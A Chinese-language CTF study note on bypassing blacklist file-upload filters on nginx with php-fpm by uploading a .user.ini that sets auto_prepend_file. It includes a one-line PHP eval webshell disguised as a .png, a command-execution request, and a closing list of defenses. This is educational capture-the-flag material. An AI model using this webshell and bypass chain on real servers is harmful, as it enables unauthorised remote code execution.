.user.ini 原理与文件上传解析路线
适用:文件上传题(黑名单校验被绕过但"解析不了"时) 核心认知:先认服务器类型,再选上传利用方式
一、上传解析的两个"配置文件"是谁在处理
| 文件 | 谁读它 | 生效条件 |
|---|---|---|
.htaccess |
Apache(Web 服务器) | Apache + AllowOverride 开启 |
.user.ini |
PHP(CGI/FastCGI 模式) | php-fpm 跑 PHP(nginx 或 Apache + php-fpm) |
关键点:
- nginx 根本不认 .htaccess(nginx 没有这个机制,配置全在 nginx.conf)
- Apache + mod_php 不读 .user.ini(不是 CGI 模式)
| 环境 | 优先试哪个 |
|---|---|
| Apache | .htaccess |
| nginx + php-fpm | .user.ini(本文重点) |
怎么判断服务器:看响应头 Server: Apache/2.x 还是 nginx;或传 .phP 只下载不执行 → 基本是 nginx + php-fpm。
二、.user.ini 是什么(原理)
.user.ini = PHP 的"目录级配置文件"(类似 .htaccess 但由 PHP 自己管)。
- 生效模式:CGI/FastCGI(nginx + php-fpm、Apache + php-fpm 都算)
- 文件名默认就是
.user.ini(php.ini 的user_ini.filename,可改) - 放在哪个目录 → 只对该目录下的 PHP 文件生效(含子目录)
关键指令:auto_prepend_file
auto_prepend_file=shell.png
效果:该目录下每个 PHP 文件被请求时,执行前都会先自动 include 指定的文件。
→ 如果指定的文件内容是你的 PHP webshell(哪怕后缀是 .png), → 那么访问该目录里任意一个 .php(比如 index.php),都会先执行你的代码!
还有配套的
auto_append_file(执行后自动包含),用法同理。
三、.user.ini 攻击用法(完整链条)
前提
- 上传校验是黑名单(只挡已知危险后缀,能传任意名文件)
- 能上传
.user.ini(点开头 + 黑名单没挡) - 上传目录里有可访问的 .php 文件(用于触发 auto_prepend_file)
步骤
① 上传 .user.ini,内容:
auto_prepend_file=shell.png
② 上传 shell.png,内容:
<?php @eval($_GET[1]);?>
③ 访问该目录下任意 .php(如 /upload/index.php)
→ PHP 自动先包含 shell.png → 你的 webshell 执行
④ 执行命令:
/upload/index.php?1=system("tac ../flag.php");
为什么这样能绕过"解析不了"的问题
| 错误路线(.phP 大小写) | 正确路线(.user.ini) |
|---|---|
| 依赖"服务器把 .phP 当 PHP 解析" | 依赖"PHP 主动包含 .png 文件" |
服务器只认小写 .php → 不解析 → 只下载 |
auto_prepend_file 让任意后缀被当 PHP 执行 |
| 看服务器脸色 ❌ | 不依赖后缀,自己说了算 ✅ |
核心:.phP 是"骗解析器",.user.ini 是"让 PHP 自己加载你的文件"。
四、为什么 .phP 上传成功但访问只下载
上传成功 = 过滤器只查小写"php"字符串,.phP 绕过字符串检查 ✅
访问只下载 = 服务器处理器匹配大小写敏感:
nginx location ~ \.php$ (默认区分大小写)
→ .phP 不交给 PHP 解析 → 当普通文件 → 强制下载(Content-Disposition: attachment)
提示:Windows 服务器文件系统大小写不敏感,.phP 可能被当成 .php 执行;Linux + nginx 大小写敏感 → 只下载——这本身是"该走 .user.ini"的信号。
五、上传题判定流程(定方向)
1. 看响应头 / 传 .phP 测试 → 判断 Apache 还是 nginx+php-fpm
2. 试传 shell.php → 失败;shell.png / shell.a → 成功
→ 说明是黑名单校验(只挡已知后缀)
3. 黑名单 + 能传任意名 → 试 .user.ini(nginx+php-fpm)或 .htaccess(Apache)
4. .user.ini: auto_prepend_file=shell.png + 传 shell.png webshell
5. 访问目录里任意 .php 触发 → ?1=system(...) → flag
六、防御视角(知道原理就会防)
- 上传校验别用黑名单(改白名单:只允许图片/文档白名单后缀)
- 上传目录禁止执行 PHP(nginx 配置 location 里 fastcgi 只给白名单后缀)
- 禁用/改名
.user.ini:php.ini 里user_ini.filename=设为空或改名 - 上传文件名随机化,禁止点开头文件(.user.ini 这种)
记忆口诀
黑名单能传任意名,看服务器选入口:Apache 上 .htaccess,nginx 上 .user.ini;prepend 一设,png 也变 shell。
速查表持续补充,实战遇到新上传姿势随时更新。